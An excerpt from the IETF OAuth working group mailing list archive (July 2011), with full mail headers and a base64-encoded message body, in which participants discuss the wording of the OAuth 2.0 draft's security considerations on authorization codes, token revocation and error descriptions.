ICAgSWYgYW4NCj4gICAgICAgICAgYXV0aG9yaXphdGlvbiBjb2RlIGlzIHVzZWQgbW9yZSB0aGFu IG9uY2UsIHRoZSBhdXRob3JpemF0aW9uDQo+ICAgICAgICAgIHNlcnZlciBNQVkgcmV2b2tlIGFs bCB0b2tlbnMgcHJldmlvdXNseSBpc3N1ZWQgYmFzZWQgb24gdGhhdA0KPiAgICAgICAgICBhdXRo b3JpemF0aW9uIGNvZGUuDQo+IA0KPiBORVc6DQo+ICAgICAgICAgIElmIGFuDQo+ICAgICAgICAg IGF1dGhvcml6YXRpb24gY29kZSBpcyB1c2VkIG1vcmUgdGhhbiBvbmNlLCB0aGUgYXV0aG9yaXph dGlvbg0KPiAgICAgICAgICBzZXJ2ZXIgU0hPVUxEIHJldm9rZSBhbGwgdG9rZW5zIHByZXZpb3Vz bHkgaXNzdWVkIGJhc2VkIG9uIHRoYXQNCj4gICAgICAgICAgYXV0aG9yaXphdGlvbiBjb2RlLg0K PiANCj4gUkFUSU9OQUxFOiBNQVkgc2VlbXMgd2VhayBoZXJlLg0KDQpUaGlzIHdhcyBjaGFuZ2Vk IHRvIE1BWSBiZWNhdXNlIG1vc3QgbGFyZ2Ugc2NhbGUgaW1wbGVtZW50YXRpb25zIHdpbGwgbm90 IGJlIGFibGUgdG8gcmV2b2tlIGFjY2VzcyB0b2tlbnMgYXQgYWxsICh0eXBpY2FsbHkgYSBzZWxm LWVuY29kZWQgdG9rZW4gZ29vZCBmb3Igb25lIGhvdXIpLiBBIFNIT1VMRCB3b3VsZCBiZSBnb29k IGJ1dCBpbXByYWN0aWNhbCBhZHZpY2UuIEkgY2hhbmdlZCBpdCB0byAnU0hPVUxEIGF0dGVtcHQn IGZvciBub3cuDQoNCj4gT0xEOg0KPiAgICBUaGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgU0hPVUxE IGlzc3VlIGFjY2VzcyB0b2tlbnMgd2l0aCBsaW1pdGVkDQo+ICAgIHNjb3BlIGFuZCBkdXJhdGlv biB0byBjbGllbnRzIGluY2FwYWJsZSBvZiBhdXRoZW50aWNhdGluZy4NCj4gDQo+IE5FVzoNCj4g ICAgSWYgdGhlIGF1dGhvcml6YXRpb24gc2VydmVyIGlzc3VlcyBhY2Nlc3MgdG9rZW5zIHRvIGNs aWVudHMNCj4gICAgdGhhdCBhcmUgaW5jYXBhYmxlIG9mIGF1dGhlbnRpY2F0aW5nLCB0aGUgc2Nv cGUgYW5kIGR1cmF0aW9uIG9mDQo+ICAgIHN1Y2ggdG9rZW5zIFNIT1VMRCBiZSBsaW1pdGVkLg0K PiANCj4gUkFUSU9OQUxFOiBXZSdyZSBub3QgYWN0aXZlbHkgUkVDT01NRU5ESU5HIGF1dGhvcml6 YXRpb24gc2VydmVycyBhcmUgdG8NCj4gaXNzdWUgc3VjaCB0b2tlbnMsIGFyZSB3ZT8NCg0KSSBy ZW1vdmVkIHRoZSBzZW50ZW5jZSBhcmUgYSByZXN1bHQgb2YgdGhlIHdnIGRpc2N1c3Npb24gdGhh dCBmb2xsb3dlZC4NCg0KPiAxMC4zLiBBY2Nlc3MgVG9rZW4gQ3JlZGVudGlhbHMNCj4gDQo+ICAg IFRoZSBjbGllbnQgU0hPVUxEIHJlcXVlc3QgYWNjZXNzIHRva2VuIGNyZWRlbnRpYWxzIHdpdGgg dGhlIG1pbmltYWwNCj4gICAgc2NvcGUgYW5kIGR1cmF0aW9uIG5lY2Vzc2FyeS4NCj4gDQo+IElz IHRoaXMgZW5mb2NlZCBieSB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXI/DQoNCk5vdCBzdXJlIGhv dyB0aGlzIHdvdWxkIGJlIHBvc3NpYmxlLiBUaGUgc2VydmVyIGNhbiBsYXRlciByZXZpZXcgd2hh dCBpcyBiZWluZyB1c2VkLCBidXQgbm90IHByZWRpY3QuDQoNCj4gMTAuOS4gQXV0aG9yaXphdGlv biBDb2Rlcw0KPiANCj4gICAgQXV0aG9yaXphdGlvbiBjb2RlcyBTSE9VTEQgYmUgc2hvcnQgbGl2 ZWQgYW5kIE1VU1QgYmUgc2luZ2xlIHVzZS4gIElmDQo+ICAgIHRoZSBhdXRob3JpemF0aW9uIHNl cnZlciBvYnNlcnZlcyBtdWx0aXBsZSBhdHRlbXB0cyB0byBleGNoYW5nZSBhbg0KPiAgICBhdXRo b3JpemF0aW9uIGNvZGUgZm9yIGFuIGFjY2VzcyB0b2tlbiwgdGhlIGF1dGhvcml6YXRpb24gc2Vy dmVyDQo+ICAgIFNIT1VMRCByZXZva2UgYWxsIGFjY2VzcyB0b2tlbnMgYWxyZWFkeSBncmFudGVk IGJhc2VkIG9uIHRoZQ0KPiAgICBjb21wcm9taXNlZCBhdXRob3JpemF0aW9uIGNvZGUuDQo+IA0K PiBJcyB0aGVyZSBhIGdvb2QgcmVhc29uIHdoeSB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgd291 bGQgbm90IHJldm9rZSBhbGwgdGhlDQo+IGFjY2VzcyB0b2tlbnM/IElmIG5vdCwgY2hhbmdlIHRv IE1VU1QuDQoNClNlZSBhYm92ZS4NCg0KQ2hhbmdlZCBpdCB0byAnU0hPVUxEIGF0dGVtcHQnIGZv ciBub3cuDQoNCj4gTUlOT1IgSVNTVUVTLi4uDQo+IA0KPiAxLjQuMS4gQXV0aG9yaXphdGlvbiBD b2RlDQo+IA0KPiBPTEQ6DQo+ICAgIEJlZm9yZSBkaXJlY3RpbmcgdGhlIHJlc291cmNlIG93bmVy IGJhY2sgdG8gdGhlIGNsaWVudCB3aXRoIHRoZQ0KPiAgICBhdXRob3JpemF0aW9uIGNvZGUsIHRo ZSBhdXRob3JpemF0aW9uIHNlcnZlciBhdXRoZW50aWNhdGVzIHRoZQ0KPiAgICByZXNvdXJjZSBv d25lciBhbmQgb2J0YWlucyBhdXRob3JpemF0aW9uLiAgQmVjYXVzZSB0aGUgcmVzb3VyY2Ugb3du ZXINCj4gICAgb25seSBhdXRoZW50aWNhdGVzIHdpdGggdGhlIGF1dGhvcml6YXRpb24gc2VydmVy LCB0aGUgcmVzb3VyY2UNCj4gICAgb3duZXIncyBjcmVkZW50aWFscyBhcmUgbmV2ZXIgc2hhcmVk IHdpdGggdGhlIGNsaWVudC4NCj4gDQo+IE5FVzoNCj4gICAgQmVmb3JlIGRpcmVjdGluZyB0aGUg cmVzb3VyY2Ugb3duZXIgYmFjayB0byB0aGUgY2xpZW50IHdpdGggdGhlDQo+ICAgIGF1dGhvcml6 YXRpb24gY29kZSwgdGhlIGF1dGhvcml6YXRpb24gc2VydmVyIGF1dGhlbnRpY2F0ZXMgdGhlDQo+ ICAgIHJlc291cmNlIG93bmVyIGFuZCBvYnRhaW5zIGF1dGhvcml6YXRpb24uICBCZWNhdXNlIHRo ZSByZXNvdXJjZSBvd25lcg0KPiAgICBvbmx5IGF1dGhlbnRpY2F0ZXMgd2l0aCB0aGUgYXV0aG9y aXphdGlvbiBzZXJ2ZXIsIHRoZSByZXNvdXJjZQ0KPiAgICBvd25lcidzIGNyZWRlbnRpYWxzIGF0 IHRoZSByZXNvdXJjZSBzZXJ2ZXIgYXJlIG5ldmVyIHNoYXJlZCB3aXRoIHRoZQ0KPiAgICBjbGll bnQuDQo+IA0KPiBSQVRJT05BTEU6IGNvdWxkIHRoZSByZXNvdXJjZSBvd25lciBoYXZlIGNyZWRl bnRpYWxzIGF0IHRoZSBhdXRob3JpemF0aW9uDQo+IHNlcnZlcj8NCg0KVGhlIGNyZWRlbnRpYWxz IGFyZSBhbHdheXMgd2l0aCB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIsIGFuZCB0aGUgcmVzb3Vy Y2Ugc2VydmVyIGVpdGhlciBoYXMgYWNjZXNzIHRvIHRoZSBjcmVkZW50aWFscywgdG8gdGhlIHNl cnZlciBmb3IgdmFsaWRhdGlvbiwgb3IgcmVsaWVzIG9uIGNvb2tpZXMgYW5kIG90aGVyIG5vbi1z dGFuZGFyZCBjcmVkZW50aWFscyByZXBsYWNlbWVudHMuDQoNCj4gNC4xLjIuMS4gRXJyb3IgUmVz cG9uc2UNCj4gDQo+IE9MRDoNCj4gICAgZXJyb3JfZGVzY3JpcHRpb24NCj4gICAgICAgICAgT1BU SU9OQUwuICBBIGh1bWFuLXJlYWRhYmxlIHRleHQgcHJvdmlkaW5nIGFkZGl0aW9uYWwNCj4gICAg ICAgICAgaW5mb3JtYXRpb24sIHVzZWQgdG8gYXNzaXN0IGluIHRoZSB1bmRlcnN0YW5kaW5nIGFu ZCByZXNvbHV0aW9uDQo+ICAgICAgICAgIG9mIHRoZSBlcnJvciBvY2N1cnJlZC4gW1sgYWRkIGxh bmd1YWdlIGFuZCBlbmNvZGluZyBpbmZvcm1hdGlvbg0KPiAgICAgICAgICBdXQ0KPiANCj4gTkVX Og0KPiAgICBlcnJvcl9kZXNjcmlwdGlvbg0KPiAgICAgICAgICBPUFRJT05BTC4gIERlc2NyaXB0 aXZlIHRleHQgcHJvdmlkaW5nIGFkZGl0aW9uYWwgaW5mb3JtYXRpb24sDQo+ICAgICAgICAgIHVz ZWQgdG8gYXNzaXN0IGluIHRoZSB1bmRlcnN0YW5kaW5nIGFuZCByZXNvbHV0aW9uIG9mIHRoZQ0K PiAgICAgICAgICBlcnJvciB0aGF0IGhhcyBvY2N1cnJlZC4gIElmIGluY2x1ZGVkLCBpdCBNVVNU IGJlIHVzZWQgb25seQ0KPiAgICAgICAgICB0byBwcm92aWRlIGRlc2NyaXB0aXZlIG9yIGRpYWdu b3N0aWMgaW5mb3JtYXRpb24gdGhhdA0KPiAgICAgICAgICBzdXBwbGVtZW50cyB0aGUgbWVhbmlu ZyBvZiBhbiBleGlzdGluZyBIVFRQIGVycm9yIGNvZGUuICBJdA0KPiAgICAgICAgICBNVVNUIE5P VCBiZSBpbnRlcnByZXRlZCBwcm9ncmFtbWF0aWNhbGx5IGJ5IGFuIGFwcGxpY2F0aW9uIGFuZA0K PiAgICAgICAgICBNVVNUIE5PVCBiZSB1c2VkIGFzIHRoZSBlcnJvciBtZXNzYWdlIHByZXNlbnRl ZCB0byBhIGh1bWFuDQo+ICAgICAgICAgIHVzZXIsIGJ1dCBNQVkgYmUgdXNlZCBieSBhcHBsaWNh dGlvbiBkZXZlbG9wZXJzIGZvciBkZWJ1Z2dpbmcNCj4gICAgICAgICAgcHVycG9zZXMuDQo+IA0K PiBSQVRJT05BTEU6IElmIHRoZSBlcnJvcl9kZXNjcmlwdGlvbiBpcyBub3QgaW50ZW5kZWQgZm9y IGh1bWFucyBhbmQgaXMgdG8gYmUNCj4gdXNlZCBvbmx5IGJ5IGRldmVsb3BlcnMgZm9yIGRlYnVn Z2luZyBwdXJwb3NlcywgdGhlbiB3ZSBkb24ndCBuZWVkDQo+IGxhbmd1YWdlIHRhZ3MuIChBcyBl eHBsYWluZWQgaW4gUkZDIDIyNzcsICJpbnRlcm5hdGlvbmFsaXphdGlvbiBpcyBmb3IgaHVtYW5z IjsNCj4geWVzLCBkZXZlbG9wZXJzIGFyZSBwZW9wbGUgdG9vLi4uKQ0KDQpJcyB0aGlzIG11Y2gg bm9ybWF0aXZlIHRleHQgbmVjZXNzYXJ5PyBXZSBjdXJyZW50bHkgaGF2ZToNCg0KICAgICAgICAg ICAgICAgICAgT1BUSU9OQUwuIEEgaHVtYW4tcmVhZGFibGUgVVRGLTggZW5jb2RlZCB0ZXh0IHBy b3ZpZGluZyBhZGRpdGlvbmFsIGluZm9ybWF0aW9uLA0KICAgICAgICAgICAgICAgICAgdXNlZCB0 byBhc3Npc3QgdGhlIGNsaWVudCBkZXZlbG9wZXIgaW4gdW5kZXJzdGFuZGluZyB0aGUgZXJyb3Ig dGhhdCBvY2N1cnJlZC4NCg0KPiA0LjIuIEltcGxpY2l0IEdyYW50DQo+IA0KPiBUaGlzIHNlY3Rp b24gdXNlcyB0aGUgdGVybSAid2ViIHNlcnZlciI7IEkgc3VnZ2VzdCAicmVzb3VyY2Ugc2VydmVy IiBmb3INCj4gY29uc2lzdGVuY3kuDQoNCkFjdHVhbGx5LCB0aGlzIGlzIG5vdCB0aGUgcmVzb3Vy Y2Ugc2VydmVyLiBJIGNoYW5nZWQgdGhlIHRlcm0gdG8gd2ViLWhvc3RlZCBjbGllbnQgcmVzb3Vy Y2UgdG8gbWFrZSBpdCBjbGVhciB3aG8gaXMgaG9zdGluZyB0aGlzIHJlc291cmNlICh0aGUgY2xp ZW50KS4NCg0KPiA4LjEuIERlZmluaW5nIEFjY2VzcyBUb2tlbiBUeXBlcw0KPiA4LjIuIERlZmlu aW5nIE5ldyBFbmRwb2ludCBQYXJhbWV0ZXJzDQo+IA0KPiBNZW50aW9uIHRoYXQgdGhlIEFMUEhB IGFuZCBESUdJVCBydWxlcyBjb21lIGZyb20gUkZDIDUyMzQuDQoNCkkgZG9uJ3QgdGhpbmsgdGhp cyBpcyBuZWNlc3NhcnkgZm9yIHJ1bGVzIGNvbWluZyBkaXJlY3RseSBmcm9tIDUyMzQgKHdoaWNo IGlzIHJlZmVyZW5jZWQpLg0KDQpFSEwNCg0K From tonynad@microsoft.com Thu Jul 7 10:56:26 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E6D2721F85F3 for ; Thu, 7 Jul 2011 10:56:26 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -7.467 X-Spam-Level: X-Spam-Status: No, score=-7.467 tagged_above=-999 required=5 tests=[AWL=0.000, BAYES_00=-2.599, RCVD_IN_DNSWL_HI=-8, UNRESOLVED_TEMPLATE=3.132] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Op9XpcORJbLo for ; Thu, 7 Jul 2011 10:56:26 -0700 (PDT) Received: from smtp.microsoft.com (smtp.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id 4575B21F853F for ; Thu, 7 Jul 2011 10:56:13 -0700 (PDT) Received: from TK5EX14MLTC101.redmond.corp.microsoft.com (157.54.79.178) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Thu, 7 Jul 2011 10:56:12 -0700 Received: from TX2EHSOBE008.bigfish.com (157.54.51.80) by mail.microsoft.com (157.54.79.178) with Microsoft SMTP Server (TLS) id 14.1.289.8; Thu, 7 Jul 2011 10:56:08 -0700 Received: from mail28-tx2-R.bigfish.com (10.9.14.254) by TX2EHSOBE008.bigfish.com (10.9.40.28) with Microsoft SMTP Server id 14.1.225.22; Thu, 7 Jul 2011 17:49:59 +0000 Received: from mail28-tx2 (localhost.localdomain [127.0.0.1]) by mail28-tx2-R.bigfish.com (Postfix) with ESMTP id 712AAAA8460 for ; Thu, 7 Jul 2011 17:49:59 +0000 (UTC) X-SpamScore: -33 X-BigFish: PS-33(zz9371M542M1432Nzz1202h1082kzz1033IL8275dhz31h2a8h668h839h944h61h) X-Spam-TCS-SCL: 0:0 X-Forefront-Antispam-Report: CIP:157.55.61.146; KIP:(null); UIP:(null); IPV:SKI; H:CH1PRD0302HT004.namprd03.prod.outlook.com; R:internal; EFV:INT Received-SPF: softfail (mail28-tx2: transitioning domain of microsoft.com does not designate 157.55.61.146 as permitted sender) client-ip=157.55.61.146; envelope-from=tonynad@microsoft.com; helo=CH1PRD0302HT004.namprd03.prod.outlook.com ; .outlook.com ; Received: from mail28-tx2 (localhost.localdomain [127.0.0.1]) by mail28-tx2 (MessageSwitch) id 1310060999212780_13839; Thu, 7 Jul 2011 17:49:59 +0000 (UTC) Received: from TX2EHSMHS014.bigfish.com (unknown [10.9.14.242]) by mail28-tx2.bigfish.com (Postfix) with ESMTP id 2F2A010052; Thu, 7 Jul 2011 17:49:59 +0000 (UTC) Received: from CH1PRD0302HT004.namprd03.prod.outlook.com (157.55.61.146) by TX2EHSMHS014.bigfish.com (10.9.99.114) with Microsoft SMTP Server (TLS) id 14.1.225.22; Thu, 7 Jul 2011 17:49:55 +0000 Received: from CH1PRD0302MB115.namprd03.prod.outlook.com ([169.254.1.23]) by CH1PRD0302HT004.namprd03.prod.outlook.com ([10.28.29.123]) with mapi id 14.01.0225.056; Thu, 7 Jul 2011 17:49:54 +0000 From: Anthony Nadalin To: Eran Hammer-Lahav , "oauth@ietf.org" , "'Mark Mcgloin (mark.mcgloin@ie.ibm.com)'" , "'Torsten Lodderstedt (torsten@lodderstedt.net)'" , "'Phil Hunt (phil.hunt@oracle.com)'" Thread-Topic: [OAUTH-WG] security considerations - authorization tokens Thread-Index: AQHMGPwrcKDkss5VQUiDTJIAnX7m2ZThQEQAgAApkvA= Date: Thu, 7 Jul 2011 17:49:54 +0000 Message-ID: References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE3D@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE3D@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.28.29.114] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-OrganizationHeadersPreserved: CH1PRD0302HT004.namprd03.prod.outlook.com X-FOPE-CONNECTOR: Id%0$Dn%*$RO%0$TLS%0$FQDN%$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%HUENIVERSE.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%IETF.ORG$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%IE.IBM.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%LODDERSTEDT.NET$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%ORACLE.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-OriginatorOrg: microsoft.com X-CrossPremisesHeadersPromoted: TK5EX14MLTC101.redmond.corp.microsoft.com X-CrossPremisesHeadersFiltered: TK5EX14MLTC101.redmond.corp.microsoft.com Subject: Re: [OAUTH-WG] security considerations - authorization tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 17:56:27 -0000 When we constructed the current structure in Prague we thought that structu= re best fit the needs of a implementer, so my preference would be to keep i= t as it is now but, Torsten / Mark / Phil also may have feedback. -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of E= ran Hammer-Lahav Sent: Thursday, July 07, 2011 8:18 AM To: oauth@ietf.org; 'Mark Mcgloin (mark.mcgloin@ie.ibm.com)'; 'Torsten Lodd= erstedt (torsten@lodderstedt.net)'; 'Phil Hunt (phil.hunt@oracle.com)' Subject: Re: [OAUTH-WG] security considerations - authorization tokens Looking back at the archives, I didn't find any replies to this proposal. Torsten / Mark / Phil - is this a change you would like me to make? EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf=20 > Of Brian Eaton > Sent: Sunday, May 22, 2011 8:47 PM > To: oauth@ietf.org > Subject: [OAUTH-WG] security considerations - authorization tokens >=20 > As I said in the other note, after reading through the security=20 > considerations section a couple of times, I think it could benefit=20 > from a different organization. Specifically >=20 > - keep the introduction, it's awesome. > - write new sections for each of the following > 1) Authorization Tokens > 2) Web Application Clients > 3) User-Agent Clients > 4) Installed Application Clients > 5) Authorization Servers > 6) Resource Servers > - merge the current text into the appropriate sections. >=20 > I took a swing at the authorization tokens text. I tried to capture=20 > most of the relevant items from the current draft, but might have missed = some. >=20 > Cheers, > Brian _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth From beaton@google.com Thu Jul 7 10:58:55 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1C9C61F0C73 for ; Thu, 7 Jul 2011 10:58:55 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.976 X-Spam-Level: X-Spam-Status: No, score=-105.976 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id RvZnB4y0HSMb for ; Thu, 7 Jul 2011 10:58:54 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by ietfa.amsl.com (Postfix) with ESMTP id 52FD41F0C64 for ; Thu, 7 Jul 2011 10:58:54 -0700 (PDT) Received: from kpbe15.cbf.corp.google.com (kpbe15.cbf.corp.google.com [172.25.105.79]) by smtp-out.google.com with ESMTP id p67Hwqg2002921 for ; Thu, 7 Jul 2011 10:58:53 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310061533; bh=1G2UATlYobOCiSntoqyBWIoVLRU=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type; b=o1sIDFm+QPoxynhF8gmJdfz0XEMMJm6JyevaHzbIwqfohwzYy85MvvwSqlgU5DiA8 8UFzNX5jfPFr+NJu4m0Ug== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type:x-system-of-record; b=hepgcKdHOg6fbtHc7SoKTh++nmkX3uAYdK5DhdCqW2VRbIqjnbLfCB8Z/I6b0WE7b FFocYnE2leInObQr9CgeQ== Received: from pvg18 (pvg18.prod.google.com [10.241.210.146]) by kpbe15.cbf.corp.google.com with ESMTP id p67HuNin009500 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Thu, 7 Jul 2011 10:58:51 -0700 Received: by pvg18 with SMTP id 18so774298pvg.24 for ; Thu, 07 Jul 2011 10:58:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=sc2L1MF/1bB1u4wS89Qklf2s0PDenjetAZPwt6WhyZU=; b=W7RWN8DZhzXeYCCClyNNsIe94uUCzToWtr0fTknaOstMzseP/5su7IVGYPSQ+SM7JI AXYQYfVKxJeBHpSeU4Ag== MIME-Version: 1.0 Received: by 10.142.199.19 with SMTP id w19mr595979wff.323.1310061531222; Thu, 07 Jul 2011 10:58:51 -0700 (PDT) Received: by 10.142.14.2 with HTTP; Thu, 7 Jul 2011 10:58:51 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE3D@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Thu, 7 Jul 2011 10:58:51 -0700 Message-ID: From: Brian Eaton To: Anthony Nadalin Content-Type: multipart/alternative; boundary=000e0cd22ae233d31504a77e782c X-System-Of-Record: true Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] security considerations - authorization tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 17:58:55 -0000 --000e0cd22ae233d31504a77e782c Content-Type: text/plain; charset=ISO-8859-1 On Thu, Jul 7, 2011 at 10:49 AM, Anthony Nadalin wrote: > When we constructed the current structure in Prague we thought that > structure best fit the needs of a implementer, so my preference would be to > keep it as it is now but, Torsten / Mark / Phil also may have feedback. > Really? The current doc has *no guidelines* on how to implement authorization tokens whatsoever. So even if you like the current organization of the security considerations, I suspect you'll agree it would make sense to offer some guidance on how these tokens ought to be implemented. --000e0cd22ae233d31504a77e782c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On Thu, Jul 7, 2011 at 10:49 AM, Anthony Nadalin <tonynad@microsoft.com> w= rote:
When we constructed the current structure in Prague we thought that structu= re best fit the needs of a implementer, so my preference would be to keep i= t as it is now but, Torsten / Mark / Phil also may have feedback.

Really?

The current doc has *n= o guidelines* on how to implement authorization tokens whatsoever.

So even if you like the current organization of the securi= ty considerations, I suspect you'll agree it would make sense to offer = some guidance on how these tokens ought to be implemented.
--000e0cd22ae233d31504a77e782c-- From tonynad@microsoft.com Thu Jul 7 11:23:27 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id BD4851F0C88 for ; Thu, 7 Jul 2011 11:23:27 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -7.466 X-Spam-Level: X-Spam-Status: No, score=-7.466 tagged_above=-999 required=5 tests=[AWL=-0.000, BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_HI=-8, UNRESOLVED_TEMPLATE=3.132] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id TrMaSq7VMByx for ; Thu, 7 Jul 2011 11:23:27 -0700 (PDT) Received: from smtp.microsoft.com (mailb.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id C94B11F0C8E for ; Thu, 7 Jul 2011 11:23:26 -0700 (PDT) Received: from TK5EX14MLTC102.redmond.corp.microsoft.com (157.54.79.180) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Thu, 7 Jul 2011 11:23:25 -0700 Received: from DB3EHSOBE002.bigfish.com (157.54.51.112) by mail.microsoft.com (157.54.79.180) with Microsoft SMTP Server (TLS) id 14.1.289.8; Thu, 7 Jul 2011 11:23:25 -0700 Received: from mail109-db3-R.bigfish.com (10.3.81.246) by DB3EHSOBE002.bigfish.com (10.3.84.22) with Microsoft SMTP Server id 14.1.225.22; Thu, 7 Jul 2011 18:08:05 +0000 Received: from mail109-db3 (localhost.localdomain [127.0.0.1]) by mail109-db3-R.bigfish.com (Postfix) with ESMTP id 91DA8AE8329 for ; Thu, 7 Jul 2011 18:08:05 +0000 (UTC) X-SpamScore: -25 X-BigFish: PS-25(zz9371Mc85fh98dKzz1202h1082kzz1033IL8275bh8275dhz31h2a8h668h839h) X-Forefront-Antispam-Report: CIP:157.55.61.146; KIP:(null); UIP:(null); IPV:SKI; H:CH1PRD0302HT008.namprd03.prod.outlook.com; R:internal; EFV:INT Received-SPF: softfail (mail109-db3: transitioning domain of microsoft.com does not designate 157.55.61.146 as permitted sender) client-ip=157.55.61.146; envelope-from=tonynad@microsoft.com; helo=CH1PRD0302HT008.namprd03.prod.outlook.com ; .outlook.com ; Received: from mail109-db3 (localhost.localdomain [127.0.0.1]) by mail109-db3 (MessageSwitch) id 1310062085168590_13780; Thu, 7 Jul 2011 18:08:05 +0000 (UTC) Received: from DB3EHSMHS002.bigfish.com (unknown [10.3.81.251]) by mail109-db3.bigfish.com (Postfix) with ESMTP id 181E714004B; Thu, 7 Jul 2011 18:08:05 +0000 (UTC) Received: from CH1PRD0302HT008.namprd03.prod.outlook.com (157.55.61.146) by DB3EHSMHS002.bigfish.com (10.3.87.102) with Microsoft SMTP Server (TLS) id 14.1.225.22; Thu, 7 Jul 2011 18:08:03 +0000 Received: from CH1PRD0302MB115.namprd03.prod.outlook.com ([169.254.1.23]) by CH1PRD0302HT008.namprd03.prod.outlook.com ([10.28.29.127]) with mapi id 14.01.0225.056; Thu, 7 Jul 2011 18:08:01 +0000 From: Anthony Nadalin To: Brian Eaton Thread-Topic: [OAUTH-WG] security considerations - authorization tokens Thread-Index: AQHMGPwrcKDkss5VQUiDTJIAnX7m2ZThQEQAgAApkvCAAAM/gIAAAFzQ Date: Thu, 7 Jul 2011 18:08:01 +0000 Message-ID: References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE3D@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.28.29.114] Content-Type: multipart/alternative; boundary="_000_B26C1EF377CB694EAB6BDDC8E624B6E72315F5A7CH1PRD0302MB115_" MIME-Version: 1.0 X-OrganizationHeadersPreserved: CH1PRD0302HT008.namprd03.prod.outlook.com X-FOPE-CONNECTOR: Id%0$Dn%*$RO%0$TLS%0$FQDN%$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%GOOGLE.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%HUENIVERSE.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%IETF.ORG$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%IE.IBM.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: 